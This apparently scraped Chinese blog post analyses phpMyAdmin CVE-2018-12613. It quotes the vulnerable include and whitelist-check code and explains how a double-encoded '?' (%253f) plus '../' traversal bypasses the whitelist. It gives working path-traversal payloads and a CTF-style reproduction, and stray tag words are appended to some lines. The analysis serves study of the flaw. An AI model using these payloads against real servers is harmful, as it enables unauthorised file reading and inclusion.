复现 CVE-2018-12613 的一些思考,关于文件包含路径的问题php
/index.php 第 55 行sql
$target_blacklist = array ( 'import.php', 'export.php' ); if (! empty($_REQUEST['target']) && is_string($_REQUEST['target']) && ! preg_match('/^index/', $_REQUEST['target']) && ! in_array($_REQUEST['target'], $target_blacklist) && Core::checkPageValidity($_REQUEST['target']) ) { include $_REQUEST['target']; exit; }
传入参数 target 须要知足cookie
checkPageValidity() 函数函数
public static function checkPageValidity(&$page, array $whitelist = []) { if (empty($whitelist)) { $whitelist = self::$goto_whitelist; } if (! isset($page) || !is_string($page)) { return false; } if (in_array($page, $whitelist)) { return true; } $_page = mb_substr( $page, 0, mb_strpos($page . '?', '?') ); if (in_array($_page, $whitelist)) { return true; } $_page = urldecode($page); $_page = mb_substr( $_page, 0, mb_strpos($_page . '?', '?') ); if (in_array($_page, $whitelist)) { return true; } return false; }
第一个返回 True 的地方,直接将 page 与 whitelist 比较,传入的必须是白名单里的文件名,没法绕过编码
if (in_array($page, $whitelist)) { return true; }
第二个返回 True 的地方,mb_strpos($x, $y) 函数查找 $y 在 $x 中首次出现的位置。mb_substr($str, $start, $length) 函数从 $str 中,截取从 $start 位置开始,长度为 $length 的字符串。url
可是在这里若是直接构造 payload : ?target=db_sql.php?/../../../cookie.txt
并不能跨路径包含,? 后面的字符串会被当作传入 db_sql.php 的参数,这就要利用后面的 urldecode 了.net
$_page = mb_substr( $page, 0, mb_strpos($page . '?', '?') ); if (in_array($_page, $whitelist)) { return true; }
第三个返回 True 的地方,能够利用双重编码绕过,将 ? 通过两次编码 %253f 就能够绕过白名单验证。%253f 传入时,首先会被自动解码一次,变成 %3f,而后urldecode() 再解码一次,就变成了 ?3d
此时的 payload : ?target=db_sql.php%253f/../../../cookie.txt
code
$_page = urldecode($page); $_page = mb_substr( $_page, 0, mb_strpos($_page . '?', '?') ); if (in_array($_page, $whitelist)) { return true; }
include 'db_sql.php%253f/../../../cookie.txt'
为何只会包含 cookie.txt 而不会包含 db_sql.phpblog
传入 db_sql.php%253f/../../../cookie.txt
为何会在 in_array($_page, $whitelist)
处返回 True
如图,z.php 中 include 两个 ../ 能够包含,y.php 中一个 include 也能够包含
在 php 的 include 中,include 'hint.php?/../cookie.txt';
会报错,include 'hint.php%3f/../cookie.txt';
不会报错,且能够成功包含
在 include 中,举个例子,假设 x.php
代码包含 include '1source.phps/../cookie.txt';
,假设 1source.phps
不存在,那么这个文件包含等同于 : 在 1source.phps
文件夹目录下的上一级中的 cookie.txt
,也就是和 x.php
在同一目录下的 cookie.txt
,若是 1source.phps
存在,而且它是一个文件,那么确定会报错,若是它是一个文件夹,也会成功包含 cookie.txt
。若是变为 include '1source.phps/./cookie.txt';
,道理和上面相同
代码以下 :
<?php highlight_file(__FILE__); class emmm { public static function checkFile(&$page) { $whitelist = ["source"=>"source.php","hint"=>"hint.php"]; if (! isset($page) || !is_string($page)) { echo "you can't see it"; return false; } if (in_array($page, $whitelist)) { return true; } $_page = mb_substr( $page, 0, mb_strpos($page . '?', '?') ); if (in_array($_page, $whitelist)) { return true; } $_page = urldecode($page); $_page = mb_substr( $_page, 0, mb_strpos($_page . '?', '?') ); if (in_array($_page, $whitelist)) { return true; } echo "you can't see it"; return false; } } if (! empty($_REQUEST['file']) && is_string($_REQUEST['file']) && emmm::checkFile($_REQUEST['file']) ) { include $_REQUEST['file']; exit; } else { echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />"; } ?>
file=hint.php
,在第一个 in_array
处会返回 true,而后直接包含 hint.php
file=hint.php?/../cookie.txt
,在第二个 in_array
处会返回 true,第二个 in_array
中的 _page
为 hint.php
,而后包含 hint.php?/../cookie.txt
,可是这里的 ?
起到传递参数的做用而不是破坏路径file=hint.php%253f/../cookie.txt
,在第三个 in_array
处会返回 true ,第三个 in_array
中的 _page
为 hint.php
,而后包含 hint.php%3f/../cookie.txt
,这里的 %3f
即 ?
,破坏了路径,前面部分的路径不存在,能够包含后面的文件